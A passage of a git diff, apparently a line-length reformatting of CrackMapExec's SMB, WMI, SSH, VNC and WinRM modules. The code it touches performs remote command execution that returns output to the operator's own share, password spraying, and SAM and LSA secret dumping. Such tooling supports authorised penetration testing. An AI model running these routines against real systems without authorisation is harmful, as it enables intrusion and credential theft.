lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) names = [] for translated_names in resp["TranslatedNames"]["Names"]: names.append(translated_names["Name"]) diff --git a/cme/protocols/smb/samruser.py b/cme/protocols/smb/samruser.py index 973ac6d9..8412604e 100644 --- a/cme/protocols/smb/samruser.py +++ b/cme/protocols/smb/samruser.py @@ -18,11 +18,7 @@ class UserSamrDump: def __init__(self, connection): self.logger = cme_logger - self.addr = ( - connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain - ) + self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password @@ -116,9 +112,7 @@ class UserSamrDump: enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: - resp = samr.hSamrEnumerateUsersInDomain( - dce, domainHandle, enumerationContext=enumerationContext - ) + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext) except DCERPCException as e: if str(e).find("STATUS_MORE_ENTRIES") < 0: self.logger.fail("Error enumerating domain user(s)") @@ -126,20 +120,14 @@ class UserSamrDump: resp = e.get_packet() self.logger.success("Enumerated domain user(s)") for user in resp["Buffer"]["Buffer"]: - r = samr.hSamrOpenUser( - dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"] - ) - info = samr.hSamrQueryInformationUser2( - dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation - ) + r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"]) + info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation) (username, uid, info_user) = ( user["Name"], user["RelativeId"], info["Buffer"]["All"], ) - self.logger.highlight( - f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}" - ) + self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}") self.users.append(user["Name"]) samr.hSamrCloseHandle(dce, r["UserHandle"]) diff --git a/cme/protocols/smb/smbexec.py b/cme/protocols/smb/smbexec.py index bb94a064..d9fc5cbd 100755 --- a/cme/protocols/smb/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -112,12 +112,7 @@ class SMBEXEC: self.__batchFile = gen_random_string(6) + ".bat" if self.__retOutput: - command = ( - self.__shell - + "echo " - + data - + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\{self.__batchFile}" - ) + command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\{self.__batchFile}" else: command = self.__shell + data @@ -156,9 +151,7 @@ class SMBEXEC: return while True: try: - self.__smbconnection.getFile( - self.__share, self.__output, self.output_callback - ) + self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: print(e) @@ -178,11 +171,7 @@ class SMBEXEC: local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: - command = ( - self.__shell - + data - + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" - ) + command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" else: command = self.__shell + data @@ -191,9 +180,7 @@ class SMBEXEC: self.logger.debug("Hosting batch file with command: " + command) - command = ( - self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}" - ) + command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}" self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") @@ -223,9 +210,7 @@ class SMBEXEC: while True: try: - with open( - path_join("/tmp", "cme_hosted", self.__output), "rb" - ) as output: + with open(path_join("/tmp", "cme_hosted", self.__output), "rb") as output: self.output_callback(output.read()) break except IOError: diff --git a/cme/protocols/smb/smbspider.py b/cme/protocols/smb/smbspider.py index 0329abec..a0aad13a 100755 --- a/cme/protocols/smb/smbspider.py +++ b/cme/protocols/smb/smbspider.py @@ -96,9 +96,7 @@ class SMBSpider: except SessionError as e: if not filelist: if "STATUS_ACCESS_DENIED" not in str(e): - self.logger.debug( - f"Failed listing files on share {self.share} in directory {subfolder}: {e}" - ) + self.logger.debug(f"Failed listing files on share {self.share} in directory {subfolder}: {e}") return for result in filelist: @@ -108,9 +106,7 @@ class SMBSpider: subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None, ) - elif subfolder != "*" and ( - subfolder[:-2].split("/")[-1] not in self.exclude_dirs - ): + elif subfolder != "*" and (subfolder[:-2].split("/")[-1] not in self.exclude_dirs): self._spider( subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None, @@ -122,16 +118,9 @@ class SMBSpider: for result in files: if self.pattern: for pattern in self.pattern: - if ( - bytes(result.get_longname().lower(), "utf8").find( - bytes(pattern.lower(), "utf8") - ) - != -1 - ): + if bytes(result.get_longname().lower(), "utf8").find(bytes(pattern.lower(), "utf8")) != -1: if not self.onlyfiles and result.is_directory(): - self.logger.highlight( - f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" - ) + self.logger.highlight(f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]") else: self.logger.highlight( "//{}/{}/{}{} [lastm:'{}' size:{}]".format( @@ -139,9 +128,7 @@ class SMBSpider: self.share, path, result.get_longname(), - "n\\a" - if not self.get_lastm_time(result) - else self.get_lastm_time(result), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), ) ) @@ -150,9 +137,7 @@ class SMBSpider: for regex in self.regex: if regex.findall(bytes(result.get_longname(), "utf8")): if not self.onlyfiles and result.is_directory(): - self.logger.highlight( - f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" - ) + self.logger.highlight(f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]") else: self.logger.highlight( "//{}/{}/{}{} [lastm:'{}' size:{}]".format( @@ -160,9 +145,7 @@ class SMBSpider: self.share, path, result.get_longname(), - "n\\a" - if not self.get_lastm_time(result) - else self.get_lastm_time(result), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), ) ) @@ -206,9 +189,7 @@ class SMBSpider: self.share, path, result.get_longname(), - "n\\a" - if not self.get_lastm_time(result) - else self.get_lastm_time(result), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), rfile.tell(), pattern, @@ -224,9 +205,7 @@ class SMBSpider: self.share, path, result.get_longname(), - "n\\a" - if not self.get_lastm_time(result) - else self.get_lastm_time(result), + "n\\a" if not self.get_lastm_time(result) else self.get_lastm_time(result), result.get_filesize(), rfile.tell(), regex.pattern, @@ -247,9 +226,7 @@ class SMBSpider: def get_lastm_time(self, result_obj): lastm_time = None try: - lastm_time = strftime( - "%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch()) - ) + lastm_time = strftime("%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch())) except Exception: pass diff --git a/cme/protocols/smb/wmiexec.py b/cme/protocols/smb/wmiexec.py index b6d7046a..a023f5db 100755 --- a/cme/protocols/smb/wmiexec.py +++ b/cme/protocols/smb/wmiexec.py @@ -66,9 +66,7 @@ class WMIEXEC: doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, ) - iInterface = self.__dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login - ) + iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() @@ -127,11 +125,7 @@ class WMIEXEC: self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] - command = ( - self.__shell - + data - + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1" - ) + command = self.__shell + data + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1" self.logger.debug("Executing command: " + command) self.__win32Process.Create(command, self.__pwd, None) @@ -140,9 +134,7 @@ class WMIEXEC: def get_output_fileless(self): while True: try: - with open( - os.path.join("/tmp", "cme_hosted", self.__output), "r" - ) as output: + with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output: self.output_callback(output.read()) break except IOError: @@ -155,9 +147,7 @@ class WMIEXEC: while True: try: - self.__smbconnection.getFile( - self.__share, self.__output, self.output_callback - ) + self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find("STATUS_SHARING_VIOLATION") >= 0: diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 7c75380c..15eafa73 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -25,40 +25,26 @@ class ssh(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - ssh_parser = parser.add_parser( - "ssh", help="own stuff using SSH", parents=[std_parser, module_parser] - ) + ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser]) ssh_parser.add_argument( "--no-bruteforce", action="store_true", - help=( - "No spray when using file for username and password (user1 =>" - " password1, user2 => password2" - ), + help=("No spray when using file for username and password (user1 =>" " password1, user2 => password2"), ) ssh_parser.add_argument( "--key-file", type=str, - help=( - "Authenticate using the specified private key. Treats the password" - " parameter as the key's passphrase." - ), - ) - ssh_parser.add_argument( - "--port", type=int, default=22, help="SSH port (default: 22)" + help=("Authenticate using the specified private key. Treats the password" " parameter as the key's passphrase."), ) + ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") ssh_parser.add_argument( "--continue-on-success", action="store_true", help="continues authentication attempts even after successes", ) - cgroup = ssh_parser.add_argument_group( - "Command Execution", "Options for executing commands" - ) - cgroup.add_argument( - "--no-output", action="store_true", help="do not retrieve command output" - ) + cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument( "-x", metavar="COMMAND", @@ -96,9 +82,7 @@ class ssh(connection): stdin, stdout, stderr = self.conn.exec_command("uname -r") self.server_os = stdout.read().decode("utf-8") self.logger.debug(f"OS retrieved: {self.server_os}") - self.db.add_host( - self.host, self.args.port, self.remote_version, os=self.server_os - ) + self.db.add_host(self.host, self.args.port, self.remote_version, os=self.server_os) def create_conn_obj(self): self.conn = paramiko.SSHClient() @@ -126,9 +110,7 @@ class ssh(connection): self.logger.info(f"Determined user is root via `id` command") self.admin_privs = True return True - stdin, stdout, stderr = self.conn.exec_command( - "sudo -ln | grep 'NOPASSWD: ALL'" - ) + stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'") if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1: self.logger.info(f"Determined user is root via `sudo -ln` command") self.admin_privs = True @@ -185,13 +167,9 @@ class ssh(connection): if self.check_if_admin(): shell_access = True - self.logger.debug( - f"User {username} logged in successfully and is root!" - ) + self.logger.debug(f"User {username} logged in successfully and is root!") if self.args.key_file: - self.db.add_admin_user( - "key", username, password, host_id=host_id, cred_id=cred_id - ) + self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) else: self.db.add_admin_user( "plaintext", @@ -216,9 +194,7 @@ class ssh(connection): display_shell_access = f" - shell access!" if shell_access else "" - self.logger.success( - f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}" - ) + self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}") if not self.args.continue_on_success: return True diff --git a/cme/protocols/ssh/database.py b/cme/protocols/ssh/database.py index 07500023..c1d7650a 100644 --- a/cme/protocols/ssh/database.py +++ b/cme/protocols/ssh/database.py @@ -88,29 +88,14 @@ class database: def reflect_tables(self): with self.db_engine.connect(): try: - self.CredentialsTable = Table( - "credentials", self.metadata, autoload_with=self.db_engine - ) - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) - self.LoggedinRelationsTable = Table( - "loggedin_relations", self.metadata, autoload_with=self.db_engine - ) - self.AdminRelationsTable = Table( - "admin_relations", self.metadata, autoload_with=self.db_engine - ) - self.KeysTable = Table( - "keys", self.metadata, autoload_with=self.db_engine - ) + self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) + self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) + self.KeysTable = Table("keys", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): ssh_workspace = f"~/.cme/workspaces/{cme_workspace}/ssh.db" - print( - "[-] Error reflecting tables for SSH protocol - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - f"[-] Optionally save the old DB data (`cp {ssh_workspace} ~/cme_ssh.bak`)\n" - f"[-] Then remove the CME SSH DB (`rm -rf {ssh_workspace}`) and run CME to initialize the new DB" - ) + print("[-] Error reflecting tables for SSH protocol - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" f"[-] Optionally save the old DB data (`cp {ssh_workspace} ~/cme_ssh.bak`)\n" f"[-] Then remove the CME SSH DB (`rm -rf {ssh_workspace}`) and run CME to initialize the new DB") exit() def shutdown_db(self): @@ -170,9 +155,7 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, set_=update_columns - ) + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.sess.execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted @@ -192,10 +175,8 @@ class database: select(self.CredentialsTable) .join(self.KeysTable) .filter( - func.lower(self.CredentialsTable.c.username) - == func.lower(username), - func.lower(self.CredentialsTable.c.credtype) - == func.lower(credtype), + func.lower(self.CredentialsTable.c.username) == func.lower(username), + func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), self.KeysTable.c.data == key, ) ) @@ -232,15 +213,9 @@ class database: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call - q_users = Insert( - self.CredentialsTable - ) # .returning(self.CredentialsTable.c.id) - update_columns_users = { - col.name: col for col in q_users.excluded if col.name not in "id" - } - q_users = q_users.on_conflict_do_update( - index_elements=self.CredentialsTable.primary_key, set_=update_columns_users - ) + q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users) cme_logger.debug(f"Adding credentials: {credentials}") self.sess.execute(q_users, credentials) # .scalar() @@ -261,17 +236,13 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.CredentialsTable).filter( - self.CredentialsTable.c.id == cred_id - ) + q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id) del_hosts.append(q) self.sess.execute(q) def add_key(self, cred_id, key): # check if key relation already exists - check_q = self.sess.execute( - select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id) - ).all() + check_q = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all() cme_logger.debug(f"check_q: {check_q}") if check_q: cme_logger.debug(f"Key already exists for cred_id {cred_id}") @@ -279,13 +250,7 @@ class database: key_data = {"credid": cred_id, "data": key} self.sess.execute(Insert(self.KeysTable), key_data) - key_id = ( - self.sess.execute( - select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id) - ) - .all()[0] - .id - ) + key_id = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id cme_logger.debug(f"Key added: {key_id}") return key_id @@ -334,13 +299,9 @@ class database: def get_admin_relations(self, cred_id=None, host_id=None): if cred_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.credid == cred_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.credid == cred_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -374,19 +335,13 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.CredentialsTable).filter( - self.CredentialsTable.c.id == filter_term - ) + q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == filter_term) elif cred_type: - q = select(self.CredentialsTable).filter( - self.CredentialsTable.c.credtype == cred_type - ) + q = select(self.CredentialsTable).filter(self.CredentialsTable.c.credtype == cred_type) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.CredentialsTable).filter( - func.lower(self.CredentialsTable.c.username).like(like_term) - ) + q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.CredentialsTable) @@ -455,9 +410,7 @@ class database: return results def get_user(self, domain, username): - q = select(self.CredentialsTable).filter( - func.lower(self.CredentialsTable.c.username) == func.lower(username) - ) + q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username)) results = self.sess.execute(q).all() return results @@ -474,23 +427,17 @@ class database: try: cme_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call - q = Insert( - self.LoggedinRelationsTable - ) # .returning(self.LoggedinRelationsTable.c.id) + q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.sess.execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(cred_id, host_id) - cme_logger.debug( - f"Checking if relation was added: {inserted_id_results}" - ) + cme_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id except Exception as e: cme_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, cred_id=None, host_id=None, shell=None): - q = select( - self.LoggedinRelationsTable - ) # .returning(self.LoggedinRelationsTable.c.id) + q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if cred_id: q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id) if host_id: diff --git a/cme/protocols/ssh/db_navigator.py b/cme/protocols/ssh/db_navigator.py index 1bcfd765..c213ac3a 100644 --- a/cme/protocols/ssh/db_navigator.py +++ b/cme/protocols/ssh/db_navigator.py @@ -26,9 +26,7 @@ class navigator(DatabaseNavigator): admin_links = self.db.get_admin_relations(cred_id=cred_id) total_users = self.db.get_loggedin_relations(cred_id=cred_id) - total_shell = total_users = self.db.get_loggedin_relations( - cred_id=cred_id, shell=True - ) + total_shell = total_users = self.db.get_loggedin_relations(cred_id=cred_id, shell=True) data.append( [ @@ -95,12 +93,8 @@ class navigator(DatabaseNavigator): data.append([host_id, host, port, banner, os]) print_table(data, title="Host") - admin_access_data = [ - ["CredID", "CredType", "UserName", "Password", "Shell"] - ] - nonadmin_access_data = [ - ["CredID", "CredType", "UserName", "Password", "Shell"] - ] + admin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] + nonadmin_access_data = [["CredID", "CredType", "UserName", "Password", "Shell"]] for host_id in host_id_list: admin_links = self.db.get_admin_relations(host_id=host_id) nonadmin_links = self.db.get_loggedin_relations(host_id=host_id) @@ -116,9 +110,7 @@ class navigator(DatabaseNavigator): credtype = cred[3] shell = True - admin_access_data.append( - [cred_id, credtype, username, password, shell] - ) + admin_access_data.append([cred_id, credtype, username, password, shell]) # probably a better way to do this without looping through and requesting them all again, # but I just want to get this working for now @@ -143,9 +135,7 @@ class navigator(DatabaseNavigator): title="Credential(s) with Non Admin Access", ) if len(admin_access_data) > 1: - print_table( - admin_access_data, title="Credential(s) with Admin Access" - ) + print_table(admin_access_data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ @@ -208,12 +198,8 @@ class navigator(DatabaseNavigator): cred_data.append([cred_id, username, password, credtype]) print_table(cred_data, title="Credential(s)") - admin_access_data = [ - ["HostID", "Host", "Port", "Banner", "OS", "Shell"] - ] - nonadmin_access_data = [ - ["HostID", "Host", "Port", "Banner", "OS", "Shell"] - ] + admin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] + nonadmin_access_data = [["HostID", "Host", "Port", "Banner", "OS", "Shell"]] for cred_id in cred_id_list: admin_links = self.db.get_admin_relations(cred_id=cred_id) @@ -228,13 +214,9 @@ class navigator(DatabaseNavigator): port = h[2] banner = h[3] os = h[4] - shell = ( - True # if we have root via SSH, we know it's a shell - ) + shell = True # if we have root via SSH, we know it's a shell - admin_access_data.append( - [host_id, host, port, banner, os, shell] - ) + admin_access_data.append([host_id, host, port, banner, os, shell]) # probably a better way to do this without looping through and requesting them all again, # but I just want to get this working for now @@ -253,9 +235,7 @@ class navigator(DatabaseNavigator): # we look if it's greater than one because the header row always exists if len(nonadmin_access_data) > 1: - print_table( - nonadmin_access_data, title="Non-Admin Access to Host(s)" - ) + print_table(nonadmin_access_data, title="Non-Admin Access to Host(s)") if len(admin_access_data) > 1: print_table(admin_access_data, title="Admin Access to Host(s)") @@ -307,13 +287,7 @@ class navigator(DatabaseNavigator): print_help(help_string) def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you" - " want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you" " want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/protocols/vnc.py b/cme/protocols/vnc.py index cc33af9d..6359e0c6 100644 --- a/cme/protocols/vnc.py +++ b/cme/protocols/vnc.py @@ -30,9 +30,7 @@ class vnc(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - vnc_parser = parser.add_parser( - "vnc", help="own stuff using VNC", parents=[std_parser, module_parser] - ) + vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser]) vnc_parser.add_argument( "--no-bruteforce", action="store_true", @@ -43,9 +41,7 @@ class vnc(connection): action="store_true", help="continues authentication attempts even after successes", ) - vnc_parser.add_argument( - "--port", type=int, default=5900, help="Custom VNC port" - ) + vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port") vnc_parser.add_argument( "--vnc-sleep", type=int, @@ -59,9 +55,7 @@ class vnc(connection): action="store_true", help="Screenshot VNC if connection success", ) - egroup.add_argument( - "--screentime", type=int, default=5, help="Time to wait for desktop image" - ) + egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image") return parser @@ -91,12 +85,8 @@ class vnc(connection): def create_conn_obj(self): try: self.target = RDPTarget(ip=self.host, port=self.args.port) - credential = UniCredential( - protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE - ) - self.conn = VNCConnection( - target=self.target, credentials=credential, iosettings=self.iosettings - ) + credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE) + self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) asyncio.run(self.connect_vnc(True)) except Exception as e: self.logger.debug(str(e)) @@ -117,9 +107,7 @@ class vnc(connection): stype = asyauthSecret.PASS if password == "": stype = asyauthSecret.NONE - self.credential = UniCredential( - secret=password, protocol=asyauthProtocol.PLAIN, stype=stype - ) + self.credential = UniCredential(secret=password, protocol=asyauthProtocol.PLAIN, stype=stype) self.conn = VNCConnection( target=self.target, credentials=self.credential, @@ -131,11 +119,7 @@ class vnc(connection): self.logger.success( "{} {}".format( password, - highlight( - f"({self.config.get('CME', 'pwn3d_label')})" - if self.admin_privs - else "" - ), + highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else ""), ) ) if not self.args.continue_on_success: @@ -147,11 +131,7 @@ class vnc(connection): self.logger.success( "{} {}".format( "No password seems to be accepted by the server", - highlight( - f"({self.config.get('CME', 'pwn3d_label')})" - if self.admin_privs - else "" - ), + highlight(f"({self.config.get('CME', 'pwn3d_label')})" if self.admin_privs else ""), ) ) else: @@ -159,16 +139,12 @@ class vnc(connection): return False async def screen(self): - self.conn = VNCConnection( - target=self.target, credentials=self.credential, iosettings=self.iosettings - ) + self.conn = VNCConnection(target=self.target, credentials=self.credential, iosettings=self.iosettings) await self.connect_vnc() await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser( - f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png" - ) + filename = os.path.expanduser(f"~/.cme/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") diff --git a/cme/protocols/vnc/database.py b/cme/protocols/vnc/database.py index 1c5003f2..1f910278 100644 --- a/cme/protocols/vnc/database.py +++ b/cme/protocols/vnc/database.py @@ -55,19 +55,10 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table( - "hosts", self.metadata, autoload_with=self.db_engine - ) - self.CredentialsTable = Table( - "credentials", self.metadata, autoload_with=self.db_engine - ) + self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): diff --git a/cme/protocols/vnc/db_navigator.py b/cme/protocols/vnc/db_navigator.py index b1afbf92..36777af1 100644 --- a/cme/protocols/vnc/db_navigator.py +++ b/cme/protocols/vnc/db_navigator.py @@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 947808db..9cc1365e 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -31,9 +31,7 @@ class winrm(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - winrm_parser = parser.add_parser( - "winrm", help="own stuff using WINRM", parents=[std_parser, module_parser] - ) + winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument( "-H", "--hash", @@ -46,22 +44,15 @@ class winrm(connection): winrm_parser.add_argument( "--no-bruteforce", action="store_true", - help=( - "No spray when using file for username and password (user1 =>" - " password1, user2 => password2" - ), + help=("No spray when using file for username and password (user1 =>" " password1, user2 => password2"), ) winrm_parser.add_argument( "--continue-on-success", action="store_true", help="continues authentication attempts even after successes", ) - winrm_parser.add_argument( - "--port", type=int, default=0, help="Custom WinRM port" - ) - winrm_parser.add_argument( - "--ssl", action="store_true", help="Connect to SSL Enabled WINRM" - ) + winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") + winrm_parser.add_argument("--ssl", action="store_true", help="Connect to SSL Enabled WINRM") winrm_parser.add_argument( "--ignore-ssl-cert", action="store_true", @@ -98,23 +89,13 @@ class winrm(connection): help="authenticate locally to each target", ) - cgroup = winrm_parser.add_argument_group( - "Credential Gathering", "Options for gathering credentials" - ) + cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument( - "--sam", action="store_true", help="dump SAM hashes from target systems" - ) - cegroup.add_argument( - "--lsa", action="store_true", help="dump LSA secrets from target systems" - ) + cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") + cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cgroup = winrm_parser.add_argument_group( - "Command Execution", "Options for executing commands" - ) - cgroup.add_argument( - "--no-output", action="store_true", help="do not retrieve command output" - ) + cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument( "-x", metavar="COMMAND", @@ -159,9 +140,7 @@ class winrm(connection): no_ntlm = True pass - self.domain = ( - smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain - ) + self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain self.hostname = 